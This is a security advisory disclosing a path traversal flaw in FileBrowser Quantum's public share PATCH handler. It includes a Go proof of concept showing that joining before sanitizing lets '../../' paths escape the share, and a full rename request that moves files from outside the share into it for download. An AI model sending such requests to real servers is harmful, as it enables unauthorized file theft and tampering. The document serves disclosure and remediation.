FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory

The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in resourceBulkDeleteHandler (backend/http/resource.go:274) and in withHashFileHelper (backend/http/middleware.go:57). The PATCH variant in public.go follows the opposite order (join first, sanitize later) and was not updated.

For comparison, the same file's publicPutHandler uses the safe order:

// backend/http/public.go (publicPutHandler) -- safe order
cleanPath, err := utils.SanitizeUserPath(path)         // sanitize FIRST
if err != nil { return http.StatusBadRequest, err }
resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join

PoC

The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of SanitizeUserPath (from backend/common/utils/file.go) and JoinPathAsUnix (from backend/common/utils/main.go) and replays the exact sequence executed for one item in publicPatchHandler followed by resourcePatchHandler.

package main

import (
    "fmt"
    "path/filepath"
    "runtime"
    "strings"
)

// Verbatim from backend/common/utils/file.go
func SanitizeUserPath(userPath string) (string, error) {
    clean := filepath.Clean(userPath)
    for _, segment := range strings.Split(clean, string(filepath.Separator)) {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    if clean == "." {
        return "", fmt.Errorf("invalid path: path must standard index path")
    }
    return clean, nil
}

// Verbatim from backend/common/utils/main.go
func JoinPathAsUnix(parts ...string) string {
    p := filepath.Join(parts...)
    if runtime.GOOS == "windows" {
        p = strings.ReplaceAll(p, "\\", "/")
    }
    return p
}

func main() {
    sharePath := "/users/alice/shared/" // d.share.Path (server-controlled)
    attackerInput := "../../bob/secret.txt"

    // publicPatchHandler line 372: join BEFORE sanitize
    joined := JoinPathAsUnix(sharePath, attackerInput)

    // resourcePatchHandler line 794: sanitize the already-joined path
    sanitized, err := SanitizeUserPath(joined)

    fmt.Printf("attacker input: %q\n", attackerInput)
    fmt.Printf("after join:     %q\n", joined)
    fmt.Printf("sanitizer err:  %v\n", err)
    fmt.Printf("sanitized path: %q\n", sanitized)
}

Output:

attacker input: "../../bob/secret.txt"
after join:     "/users/bob/secret.txt"
sanitizer err:  <nil>
sanitized path: "/users/bob/secret.txt"

The path /users/bob/secret.txt is outside the share root /users/alice/shared/ and is the value passed to Index.GetRealPath which resolves to <source-root>/users/bob/secret.txt. The downstream move/copy/rename then targets that file. The same input is rejected by SanitizeUserPath if the order is reversed (sanitize-then-join), which is the order used by publicPutHandler and the post-fix bulk DELETE.

End-to-end exploit request shape:

PATCH /public/api/resources?hash=<share-hash> HTTP/1.1
Content-Type: application/json

{
  "action": "rename",
  "items": [
    {
      "fromSource": "default",
      "fromPath":   "../../bob/secret.txt",
      "toSource":   "default",
      "toPath":     "stolen.txt"
    }
  ]
}

After the request, stolen.txt exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope.

Impact

An unauthenticated attacker who possesses a public share link with AllowModify=true can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns:

1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.

2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).

Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in publicPatchHandler to call SanitizeUserPath on req.Items[i].FromPath and req.Items[i].ToPath before the two JoinPathAsUnix(d.share.Path, ...) calls.